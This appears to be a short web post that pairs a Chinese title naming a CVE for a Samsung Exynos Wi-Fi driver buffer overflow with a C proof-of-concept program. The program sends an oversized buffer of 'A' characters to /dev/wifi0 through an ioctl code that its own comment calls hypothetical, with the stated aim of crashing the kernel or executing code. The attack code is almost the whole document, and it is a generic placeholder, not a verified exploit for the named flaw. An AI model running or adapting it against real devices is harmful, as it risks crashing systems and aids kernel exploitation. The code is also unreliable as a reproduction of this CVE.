CVE-2025-52908 三星Exynos处理器Wi-Fi驱动缓冲区溢出漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/ioctl.h> #include <fcntl.h> // Hypothetical IOCTL command for the vulnerable Wi-Fi driver #define VULNERABLE_IOCTL_CODE 0x8BE2 int main() { int fd; char *payload; size_t size = 2048; // Payload size larger than the expected buffer // Attempt to open the Wi-Fi device node fd = open("/dev/wifi0", O_RDWR); if (fd < 0) { perror("Failed to open device"); return -1; } // Allocate and fill buffer with overflow pattern payload = (char *)malloc(size); memset(payload, 'A', size); printf("Sending malicious IOCTL to trigger buffer overflow...\n"); // Trigger the vulnerability by sending the crafted message if (ioctl(fd, VULNERABLE_IOCTL_CODE, payload) != 0) { perror("IOCTL call failed"); } else { printf("IOCTL succeeded. If vulnerable, the kernel may crash or execute code.\n"); } free(payload); close(fd); return 0; }